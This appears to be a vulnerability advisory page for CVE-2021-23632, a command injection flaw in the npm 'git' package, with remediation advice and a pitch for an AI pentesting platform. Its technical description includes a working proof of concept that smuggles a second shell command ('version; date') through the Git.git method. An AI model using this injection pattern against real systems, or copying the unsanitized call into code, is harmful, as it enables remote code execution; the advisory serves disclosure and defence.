Skip to main content

Over 150 LLM Providers · Over 5,300 Models The most extensible AI-powered pentesting platform. Open source. Star on GitHub

CVE-2021-23632

6.6 · MEDIUM
Published Mar 17, 2022 git_project CWE-78 EPSS 2.35% (82th pctl)

Overview

CVE-2021-23632 is a medium-severity vulnerability affecting git_project git. It was published on March 17, 2022 and has a CVSS 3.1 base score of 6.6 (MEDIUM).

This vulnerability has a CVSS 3.1 base score of 6.6, rated MEDIUM. It can be exploited remotely over the network. Some level of privileges is required for exploitation.

Technical Description

All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.

Remediation

Check the references section for vendor advisories and patches from git_project. Update git to the latest patched version. If immediate patching is not possible, review the CVSS vector to understand the attack surface and apply compensating controls such as network segmentation or access restrictions.

Affected Products

Vendor Product Versions Status
git_project git 0 Affected

Frequently Asked Questions

What is CVE-2021-23632?

CVE-2021-23632 is a medium-severity vulnerability affecting git_project git. It was published on March 17, 2022 and has a CVSS 3.1 base score of 6.6 (MEDIUM).

How severe is CVE-2021-23632?

This vulnerability has a CVSS 3.1 base score of 6.6, rated MEDIUM. It can be exploited remotely over the network. Some level of privileges is required for exploitation.

How do I fix or remediate CVE-2021-23632?

Check the references section for vendor advisories and patches from git_project. Update git to the latest patched version. If immediate patching is not possible, review the CVSS vector to understand the attack surface and apply compensating controls such as network segmentation or access restrictions.

How can CyberStrike help with CVE-2021-23632?

CyberStrike's AI-powered security agents can automatically detect CVE-2021-23632 across your infrastructure using autonomous pentesting, DAST scanning, and HackBrowser. The platform continuously monitors for known vulnerabilities and provides actionable remediation guidance prioritized by real-world exploitability.